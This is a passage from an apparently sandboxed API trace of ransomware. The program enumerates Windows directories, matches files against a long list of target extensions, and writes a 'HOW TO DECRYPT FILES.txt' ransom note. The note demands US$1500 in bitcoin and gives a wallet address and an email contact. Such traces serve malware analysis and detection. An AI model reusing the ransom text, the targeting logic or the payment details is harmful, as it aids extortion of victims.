(pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SecurityAuditPolici#\\7e530f5e8b7aa2d04f08ddb9a1597007\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.nef") returned 0 [0112.220] lstrlenA (lpString="*.nef") returned 5 [0112.220] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SecurityAuditPolici#\\7e530f5e8b7aa2d04f08ddb9a1597007\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.svg") returned 0 [0112.220] lstrlenA (lpString="*.svg") returned 5 [0112.220] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SecurityAuditPolici#\\7e530f5e8b7aa2d04f08ddb9a1597007\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.psd") returned 0 [0112.220] lstrlenA (lpString="*.psd") returned 5 [0112.220] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SecurityAuditPolici#\\7e530f5e8b7aa2d04f08ddb9a1597007\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.vmx") returned 0 [0112.221] lstrlenA (lpString="*.vmx") returned 5 [0112.221] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SecurityAuditPolici#\\7e530f5e8b7aa2d04f08ddb9a1597007\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.vmdk") returned 0 [0112.221] lstrlenA (lpString="*.vmdk") returned 6 [0112.221] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SecurityAuditPolici#\\7e530f5e8b7aa2d04f08ddb9a1597007\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.vdi") returned 0 [0112.221] lstrlenA (lpString="*.vdi") returned 5 [0112.221] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SecurityAuditPolici#\\7e530f5e8b7aa2d04f08ddb9a1597007\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.lay6") returned 0 [0112.221] lstrlenA (lpString="*.lay6") returned 6 [0112.221] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SecurityAuditPolici#\\7e530f5e8b7aa2d04f08ddb9a1597007\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.mpeg") returned 0 [0112.221] lstrlenA (lpString="*.mpeg") returned 6 [0112.221] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SecurityAuditPolici#\\7e530f5e8b7aa2d04f08ddb9a1597007\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.djvu") returned 0 [0112.221] lstrlenA (lpString="*.djvu") returned 6 [0112.221] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SecurityAuditPolici#\\7e530f5e8b7aa2d04f08ddb9a1597007\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.tiff") returned 0 [0112.221] lstrlenA (lpString="*.tiff") returned 6 [0112.221] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SecurityAuditPolici#\\7e530f5e8b7aa2d04f08ddb9a1597007\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.backup") returned 0 [0112.221] lstrlenA (lpString="*.backup") returned 8 [0112.221] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SecurityAuditPolici#\\7e530f5e8b7aa2d04f08ddb9a1597007\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.pdf") returned 0 [0112.221] lstrlenA (lpString="*.pdf") returned 5 [0112.221] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SecurityAuditPolici#\\7e530f5e8b7aa2d04f08ddb9a1597007\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.cert") returned 0 [0112.221] lstrlenA (lpString="*.cert") returned 6 [0112.221] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SecurityAuditPolici#\\7e530f5e8b7aa2d04f08ddb9a1597007\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.docm") returned 0 [0112.221] lstrlenA (lpString="*.docm") returned 6 [0112.221] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SecurityAuditPolici#\\7e530f5e8b7aa2d04f08ddb9a1597007\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.xlsm") returned 0 [0112.221] lstrlenA (lpString="*.xlsm") returned 6 [0112.221] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SecurityAuditPolici#\\7e530f5e8b7aa2d04f08ddb9a1597007\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.dwg") returned 0 [0112.221] lstrlenA (lpString="*.dwg") returned 5 [0112.221] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SecurityAuditPolici#\\7e530f5e8b7aa2d04f08ddb9a1597007\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.nd") returned 0 [0112.221] lstrlenA (lpString="*.nd") returned 4 [0112.222] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SecurityAuditPolici#\\7e530f5e8b7aa2d04f08ddb9a1597007\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.tlg") returned 0 [0112.222] lstrlenA (lpString="*.tlg") returned 5 [0112.222] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SecurityAuditPolici#\\7e530f5e8b7aa2d04f08ddb9a1597007\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.lgb") returned 0 [0112.222] lstrlenA (lpString="*.lgb") returned 5 [0112.222] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SecurityAuditPolici#\\7e530f5e8b7aa2d04f08ddb9a1597007\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.mov") returned 0 [0112.222] lstrlenA (lpString="*.mov") returned 5 [0112.222] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SecurityAuditPolici#\\7e530f5e8b7aa2d04f08ddb9a1597007\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.xdw") returned 0 [0112.222] lstrlenA (lpString="*.xdw") returned 5 [0112.222] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SecurityAuditPolici#\\7e530f5e8b7aa2d04f08ddb9a1597007\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.ods") returned 0 [0112.222] lstrlenA (lpString="*.ods") returned 5 [0112.222] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SecurityAuditPolici#\\7e530f5e8b7aa2d04f08ddb9a1597007\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.wav") returned 0 [0112.222] lstrlenA (lpString="*.wav") returned 5 [0112.222] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SecurityAuditPolici#\\7e530f5e8b7aa2d04f08ddb9a1597007\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.mp3") returned 0 [0112.222] lstrlenA (lpString="*.mp3") returned 5 [0112.222] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SecurityAuditPolici#\\7e530f5e8b7aa2d04f08ddb9a1597007\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.aiff") returned 0 [0112.222] lstrlenA (lpString="*.aiff") returned 6 [0112.222] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SecurityAuditPolici#\\7e530f5e8b7aa2d04f08ddb9a1597007\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.flac") returned 0 [0112.222] lstrlenA (lpString="*.flac") returned 6 [0112.222] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SecurityAuditPolici#\\7e530f5e8b7aa2d04f08ddb9a1597007\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.m4a") returned 0 [0112.222] lstrlenA (lpString="*.m4a") returned 5 [0112.222] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SecurityAuditPolici#\\7e530f5e8b7aa2d04f08ddb9a1597007\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.csv") returned 0 [0112.222] lstrlenA (lpString="*.csv") returned 5 [0112.222] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x311ed631, ftCreationTime.dwHighDateTime=0x1cb8b27, ftLastAccessTime.dwLowDateTime=0x311ed631, ftLastAccessTime.dwHighDateTime=0x1cb8b27, ftLastWriteTime.dwLowDateTime=0xe6972f40, ftLastWriteTime.dwHighDateTime=0x1cb8939, nFileSizeHigh=0x0, nFileSizeLow=0x5c000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="SecurityAuditPoliciesSnapIn.ni.dll", cAlternateFileName="SECURI~1.DLL")) returned 0 [0112.223] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0112.223] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x63b204e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x63b204e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x63b204e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="7e530f5e8b7aa2d04f08ddb9a1597007", cAlternateFileName="7E530F~1")) returned 0 [0112.223] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0112.223] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xba0d731a, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xba0d731a, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xba0d731a, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x650053, dwReserved1=0x750063, cFileName="SMDiagnostics", cAlternateFileName="SMDIAG~1")) returned 1 [0112.223] lstrcmpA (lpString1=".", lpString2="SMDiagnostics") returned -1 [0112.223] lstrcmpA (lpString1="..", lpString2="SMDiagnostics") returned -1 [0112.223] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\*.*") returned="*.*" [0112.223] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\", lpString2="SMDiagnostics" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMDiagnostics") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMDiagnostics" [0112.223] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMDiagnostics") returned 60 [0112.223] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMDiagnostics\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xba0d731a, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xba0d731a, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xba0d731a, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0112.225] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0112.225] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xba0d731a, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xba0d731a, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xba0d731a, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.225] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0112.225] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0112.225] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xba0d731a, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xba0d731a, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xba0d731a, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="4b5adb098f8ce2890826195454a777b2", cAlternateFileName="4B5ADB~1")) returned 1 [0112.225] lstrcmpA (lpString1=".", lpString2="4b5adb098f8ce2890826195454a777b2") returned -1 [0112.225] lstrcmpA (lpString1="..", lpString2="4b5adb098f8ce2890826195454a777b2") returned -1 [0112.225] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMDiagnostics\\*.*") returned="*.*" [0112.225] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMDiagnostics\\", lpString2="4b5adb098f8ce2890826195454a777b2" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMDiagnostics\\4b5adb098f8ce2890826195454a777b2") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMDiagnostics\\4b5adb098f8ce2890826195454a777b2" [0112.225] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMDiagnostics\\4b5adb098f8ce2890826195454a777b2") returned 93 [0112.225] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMDiagnostics\\4b5adb098f8ce2890826195454a777b2\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xba0d731a, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xba0d731a, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xba0d731a, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0112.225] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0112.225] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xba0d731a, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xba0d731a, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xba0d731a, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.225] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0112.226] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0112.226] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba08b05a, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xba08b05a, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xba08b05a, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x55400, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="SMDiagnostics.ni.dll", cAlternateFileName="SMDIAG~1.DLL")) returned 1 [0112.226] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0112.226] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="SMDiagnostics.ni.dll") returned -1 [0112.226] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="SMDiagnostics.ni.dll") returned -1 [0112.226] lstrcmpiA (lpString1="", lpString2="SMDiagnostics.ni.dll") returned -1 [0112.226] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMDiagnostics\\4b5adb098f8ce2890826195454a777b2\\*.*") returned="*.*" [0112.226] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMDiagnostics\\4b5adb098f8ce2890826195454a777b2\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMDiagnostics\\4b5adb098f8ce2890826195454a777b2\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMDiagnostics\\4b5adb098f8ce2890826195454a777b2\\" [0112.226] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMDiagnostics\\4b5adb098f8ce2890826195454a777b2\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMDiagnostics\\4b5adb098f8ce2890826195454a777b2\\") returned="" [0112.226] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMDiagnostics\\4b5adb098f8ce2890826195454a777b2\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMDiagnostics\\4b5adb098f8ce2890826195454a777b2\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMDiagnostics\\4b5adb098f8ce2890826195454a777b2\\HOW TO DECRYPT FILES.txt" [0112.226] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMDiagnostics\\4b5adb098f8ce2890826195454a777b2\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\smdiagnostics\\4b5adb098f8ce2890826195454a777b2\\how to decrypt files.txt")) returned 0xffffffff [0112.226] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMDiagnostics\\4b5adb098f8ce2890826195454a777b2\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\smdiagnostics\\4b5adb098f8ce2890826195454a777b2\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0112.227] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0112.227] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0112.229] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0112.229] CloseHandle (hObject=0x90) returned 1 [0112.229] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMDiagnostics\\4b5adb098f8ce2890826195454a777b2\\", lpString2="SMDiagnostics.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMDiagnostics\\4b5adb098f8ce2890826195454a777b2\\SMDiagnostics.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMDiagnostics\\4b5adb098f8ce2890826195454a777b2\\SMDiagnostics.ni.dll" [0112.229] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMDiagnostics\\4b5adb098f8ce2890826195454a777b2\\SMDiagnostics.ni.dll", pszSpec="*.ems") returned 0 [0112.229] lstrlenA (lpString="*.ems") returned 5 [0112.229] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMDiagnostics\\4b5adb098f8ce2890826195454a777b2\\SMDiagnostics.ni.dll", pszSpec="*.db") returned 0 [0112.229] lstrlenA (lpString="*.db") returned 4 [0112.229] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMDiagnostics\\4b5adb098f8ce2890826195454a777b2\\SMDiagnostics.ni.dll", pszSpec="*.dbf") returned 0 [0112.229] lstrlenA (lpString="*.dbf") returned 5 [0112.229] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMDiagnostics\\4b5adb098f8ce2890826195454a777b2\\SMDiagnostics.ni.dll", pszSpec="*.myox") returned 0 [0112.229] lstrlenA (lpString="*.myox") returned 6 [0112.229] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMDiagnostics\\4b5adb098f8ce2890826195454a777b2\\SMDiagnostics.ni.dll", pszSpec="*.myo") returned 0 [0112.229] lstrlenA (lpString="*.myo") returned 5 [0112.229] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMDiagnostics\\4b5adb098f8ce2890826195454a777b2\\SMDiagnostics.ni.dll", pszSpec="*.qbw") returned 0 [0112.229] lstrlenA (lpString="*.qbw") returned 5 [0112.230] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMDiagnostics\\4b5adb098f8ce2890826195454a777b2\\SMDiagnostics.ni.dll", pszSpec="*.qbb") returned 0 [0112.230] lstrlenA (lpString="*.qbb") returned 5 [0112.230] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMDiagnostics\\4b5adb098f8ce2890826195454a777b2\\SMDiagnostics.ni.dll", pszSpec="*.qbm") returned 0 [0112.230] lstrlenA (lpString="*.qbm") returned 5 [0112.230] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMDiagnostics\\4b5adb098f8ce2890826195454a777b2\\SMDiagnostics.ni.dll", pszSpec="*.qbo") returned 0 [0112.230] lstrlenA (lpString="*.qbo") returned 5 [0112.230] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMDiagnostics\\4b5adb098f8ce2890826195454a777b2\\SMDiagnostics.ni.dll", pszSpec="*.qbx") returned 0 [0112.230] lstrlenA (lpString="*.qbx") returned 5 [0112.230] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMDiagnostics\\4b5adb098f8ce2890826195454a777b2\\SMDiagnostics.ni.dll", pszSpec="*.qba") returned 0 [0112.230] lstrlenA (lpString="*.qba") returned 5 [0112.230] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMDiagnostics\\4b5adb098f8ce2890826195454a777b2\\SMDiagnostics.ni.dll", pszSpec="*.qby") returned 0 [0112.230] lstrlenA (lpString="*.qby") returned 5 [0112.230] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMDiagnostics\\4b5adb098f8ce2890826195454a777b2\\SMDiagnostics.ni.dll", pszSpec="*.qbj") returned 0 [0112.230] lstrlenA (lpString="*.qbj") returned 5 [0112.230] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMDiagnostics\\4b5adb098f8ce2890826195454a777b2\\SMDiagnostics.ni.dll", pszSpec="*.ofx") returned 0 [0112.230] lstrlenA (lpString="*.ofx") returned 5 [0112.230] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMDiagnostics\\4b5adb098f8ce2890826195454a777b2\\SMDiagnostics.ni.dll", pszSpec="*.qif") returned 0 [0112.230] lstrlenA (lpString="*.qif") returned 5 [0112.230] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMDiagnostics\\4b5adb098f8ce2890826195454a777b2\\SMDiagnostics.ni.dll", pszSpec="*.mye") returned 0 [0112.230] lstrlenA (lpString="*.mye") returned 5 [0112.230] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMDiagnostics\\4b5adb098f8ce2890826195454a777b2\\SMDiagnostics.ni.dll", pszSpec="*.mbox") returned 0 [0112.230] lstrlenA (lpString="*.mbox") returned 6 [0112.230] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMDiagnostics\\4b5adb098f8ce2890826195454a777b2\\SMDiagnostics.ni.dll", pszSpec="*.eml") returned 0 [0112.230] lstrlenA (lpString="*.eml") returned 5 [0112.230] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMDiagnostics\\4b5adb098f8ce2890826195454a777b2\\SMDiagnostics.ni.dll", pszSpec="*.pst") returned 0 [0112.230] lstrlenA (lpString="*.pst") returned 5 [0112.231] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMDiagnostics\\4b5adb098f8ce2890826195454a777b2\\SMDiagnostics.ni.dll", pszSpec="*.ost") returned 0 [0112.231] lstrlenA (lpString="*.ost") returned 5 [0112.231] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMDiagnostics\\4b5adb098f8ce2890826195454a777b2\\SMDiagnostics.ni.dll", pszSpec="*.idx") returned 0 [0112.231] lstrlenA (lpString="*.idx") returned 5 [0112.231] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMDiagnostics\\4b5adb098f8ce2890826195454a777b2\\SMDiagnostics.ni.dll", pszSpec="*.dbx") returned 0 [0112.231] lstrlenA (lpString="*.dbx") returned 5 [0112.231] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMDiagnostics\\4b5adb098f8ce2890826195454a777b2\\SMDiagnostics.ni.dll", pszSpec="*.sql") returned 0 [0112.231] lstrlenA (lpString="*.sql") returned 5 [0112.231] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMDiagnostics\\4b5adb098f8ce2890826195454a777b2\\SMDiagnostics.ni.dll", pszSpec="*.mdb") returned 0 [0112.231] lstrlenA (lpString="*.mdb") returned 5 [0112.231] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMDiagnostics\\4b5adb098f8ce2890826195454a777b2\\SMDiagnostics.ni.dll", pszSpec="*.fdb") returned 0 [0112.231] lstrlenA (lpString="*.fdb") returned 5 [0112.231] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMDiagnostics\\4b5adb098f8ce2890826195454a777b2\\SMDiagnostics.ni.dll", pszSpec="*.wab") returned 0 [0112.231] lstrlenA (lpString="*.wab") returned 5 [0112.231] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMDiagnostics\\4b5adb098f8ce2890826195454a777b2\\SMDiagnostics.ni.dll", pszSpec="*.dat") returned 0 [0112.231] lstrlenA (lpString="*.dat") returned 5 [0112.231] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMDiagnostics\\4b5adb098f8ce2890826195454a777b2\\SMDiagnostics.ni.dll", pszSpec="*.txt") returned 0 [0112.231] lstrlenA (lpString="*.txt") returned 5 [0112.231] PathMatchSpecA 